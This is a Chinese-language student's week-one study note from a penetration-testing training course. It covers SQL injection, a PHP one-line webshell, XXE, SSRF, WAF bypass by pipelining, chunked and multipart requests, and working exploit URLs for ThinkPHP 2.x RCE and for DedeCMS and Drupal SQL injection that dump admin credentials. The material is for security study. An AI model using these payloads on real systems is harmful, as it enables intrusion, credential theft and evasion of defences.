渗透测试学习Week1(奇安信南航暑期培训)
SQL 注入(Structured Query Language Injection)
攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到让后台数据库执行恶意的SQL命令的目的,并根据程序返回结果,获得某些攻击者想得知的数据。
(数据内容从数据库中读取)
单引号判断是否存在SQL注入漏洞
SQL语句:select * from user where id = ''
,参数放在单引号内表示为一个字符串
构造语法错误:在SQL语句中单引号都是成对出现的,我们可以在地址后面加上一个单引号来构造语法错误,如果服务器返回了错误的提示信息,则说明这条语句执行了。
eg. 输入123'
(或者直接'
) -> SQL语句:select * from 表名 where 字段='123''
出现语法错误
用 1=1,1=2测试是否存在注入漏洞
#
为注释符 -> '#
不会造成语法错误
eg. 输入1'#
-> SQL语句 select * from user where id = '1' #'
or
为SQL的连接选项
eg. 输入1' or 1=1#
这句话永真;若运行后出现了查询的所有东西,即表明对应的SQL语句执行了,那么久存在SQL注入漏洞。若永假,如果语句被执行,则会出现相应的错误提示或者页面未显示数据。
利用order by
判断数据库列名(判断列数)
order by
语句后可以使用数字指代列名,这样就可以被利用来对列数进行统计了。
select * from user where id = '1' order by 4 #'; (判断字段数)
select * from user where id = '1' union select 1,2,3,4 #' (查看回显点)
select * from user where id = '1' union select 1,version(),3,4 #' (查数据库版本号)
一句话木马
可以管理文件 (容易被waf拦截)
<?php eval($_POST[123]);?>
参数为123
工作原理:首先存在一个名为shell
的变量,shell
的取值为HTTP的POST方式。Web服务器对shell
取值以后,然后通过eval()函数执行shell
里面的内容。
菜刀:url + 参数 -> 执行 eval(123)
XSS
文件上传漏洞
XXE
XML外部实体注入(与sql像)
XML:可扩展标记语言(像HTML标记语言)
DTD:对每一个XML文件的格式描述(内部/外部/公有DTD)
DTD实体 (变量)
-
内部实体: -->
&xxe; (调用xxe) -
外部实体:
-
2参数实体:
eg. <?xml version="1.0",encoding="UTF-8">
分类
- 正常回显XXE
- 报错XXE
- Blind XXE
反序列化漏洞
反序列化漏洞是暴露或间接暴露反序列化API,导致用户可以操作传入数据
SSRF漏洞
攻击者利用SSRF漏洞通过服务器发起伪造请求,这样久可以访问到内网的数据
http://xxxx/think.php?path=http://ww.x.com
http://xxxx/think.php?path=/xxx/a.php
ThinkPHP框架漏洞
ThinkPHP 2.x命令执行漏洞
使用preg_replace
的/e
模式匹配路由,导致用户的输入参数被插入双引号执行,造成的任意代码执行漏洞
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
preg_replace替换函数
preg_replace('正则规则','替换字符','目标字符')
——如果目标字符中存在符合正则规则的字符,那么就替换为替换字符;若此时正则规则中使用了/e
修饰符,则存在代码执行漏洞
/e 正则匹配,配合preg_replace()使用,可以把匹配来的字符串当作正则表达式执行
简单例子:
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='aaa$caaa';
$c="CXK";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b)
运行结果:
This func is run CXK .
即在preg_replace
函数中,先根据正则匹配规则匹配到了目标字符中的$c
,并用$a(test("\1")
)去替换并执行该函数,而执行时该函数的参数为$b中被替换的字符(即这里的$c)
'$var[\'\\1\']="\\2";'
:是对一个数组做操作
(\w+)\/([^/]+)
:正则表达式,表示取路径的每两个参数
示例代码:
<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
print_r($var);
运行结果:
Array
(
[a] => b
[c] => d
[e] => f
)
即第一个参数作为数组的键,第二个参数作为值;所以这里若$b可控制,则可以引发代码执行;注意这里只有值的位置为代码才可以执行(我也不知道为啥)
ThinkPHP
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
POC
获取phpinfo()界面
http://192.168.1.10:8080/index.php?s=/index/index/name/${@phpinfo()}
获取当前用户ID
http://192.168.1.10:8080/index.php?s=/index/index/name/${@system(id)}
GetShell (菜刀连接)
http://192.168.1.10:8080/index.php?s=a/b/c${@print(eval($_POST[1]))}
其他参考链接:https://www.freebuf.com/sectool/223149.html
ThinkPHP5.0命令执行漏洞
Struts2框架漏洞
S2-003漏洞
允许执行OGNL语句;该漏洞允许恶意用户绕过ParametersInterceptor(参数拦截器)内置的#
(用于定义变量)使用保护,从而能够操作服务器端上下文对象
S2-005漏洞
S2-045/S2-046漏洞
构造而已Content-Type值执行RCE攻击(远程代码执行)
S2-057漏洞
CMS漏洞
WordPress4.6远程代码执行漏洞
将shell.sj放进公网的服务器
0<&139-;exec 139>
DedeCMSV5.6漏洞
EXP
作用就是回显userid + pwd (将其格式规整后更清晰看)
http://192.168.1.100:84/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
DeddeCMS V57版本漏洞——后台任意文件上传
DrupalCMS
CVE-2014-3704 SQL注入攻击
update_xml(0,concat(0xa,database()),0)
-
(有点像报错注入 ->
database()
) 得到数据库名;在burp抓的登录包中修改pass字段 (Repeater项)
POC (爆库)
pass=lol&from_build_id=&from_id=user_login_block&op=Log+in&name[0 or updateexml(0,concat(0xa,(database()),0)%23)]=bob&name[0]=a
--> Drupal
-
然后去找表名
爆表,查询出Drupal库下所有的表名
lol&from_build_id=&from_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT table_name FROM information_schema.tables WHERE table_schema like database() limit 70,1),0)%23]=bob&name[0]=a
-
查询列名
爆字段
-
爆数据,根据上一步查询出的字段,选择用处比较大的字段(name、pass)
updatexml(0,concat(0xa,database()),111111) 在输出database()时后面会带上 111111
绕过Web防火墙
WAF:web应用防火墙
-
WAF类型
-
WAF绕过
(要知道他过滤了什么)
- 注释符绕过 (/,#,'...)
- 编码绕过(base64,hex...)
- HTTP协议绕过
- 白名单IP绕过
- Pipline绕过
-
WAF识别
- Wafw00f工具识别
wafw00f 域名
(多) - SQLMap工具(少)
- 手工识别(与工具识别无差)
- 请求HTTP包分析相应数据
- 请求恶意字符分析响应或敏感页面
- Wafw00f工具识别
pipeline绕过
利用HTTP的管道化技术;可以在发送请求的同时发送多个HTTP请求。
即在第二个请求包放入恶意代码(不包含cookie,第一个包含)
in HTTP Header
content-length:HTTP body长度 (一定要取消勾选Repeater选项下update Content-length
in burp即关闭更新)
connection:keep-alive
双请求包请求,响应两次,大多WAF仅检测第一个请求,所以第二个即可绕过(旧版本WAF)
分块传输绕过
分块传输编码机制;将数据分块
in HTTP Header(请求头)
添加Transfer-Encoding: chunked
in HTTP body
将需要传输的数据进行分块,在数据包中将构造的获取数据库用户信息的payload:id=1' union select 1,user()
,进行分块添加:
2;hello,world
id
3
=1'
un
3
ion
3
se
2
le
2
ct
3
1,
2
us
2
er
2
()
3
%23
0
开头 2代表下面这个数据的个数,因为下面数据是id
,所以是2;后面添加的分号;
代表注释,可以添加随机字符来干扰WAF,以后的数字长度也可以加上分号以及注释干扰参数(提高绕过的几率),接收参数id一共就两个字母,所以上面的个数为2,下面同理
其中,分块的数据长度数值必须为16进制;分为:每一块长度值为1行,数据1行
分块传输表示结束的方式:一个0以及两个换行符
HTTP协议覆盖绕过
更换Content-Type
类型来绕过WAF的检测
in HTTP header
构造multipart/form-data
协议(可以理解为一个请求头和一个请求体组合而成的)的方式进行绕过测试,可以通过更改数据包的Content-Type
值以及对应构造含有相应分隔符的请求体实现WAF绕过
正常的POST请求方式:id=123
但在该协议中发送这个需要form-data:name="id"
指定id值,然后换行输入传输的123内容
改为:multipart/form-data
+
boundary=test
boundary=test,teast;boundary=test
(test随机写,其作用代表分隔符)
Content-Type:multipart/from-data;boundary=test
也可以加上 编码(绕过)
也可以配合分块传输
in HTTP body
--test
...
1’ union select 1,user()# (sql语句)
--test
即请求内容:
- 分隔符开始
- 指定值
- 一定要先回车一行之后再输入内容
- 分隔符结尾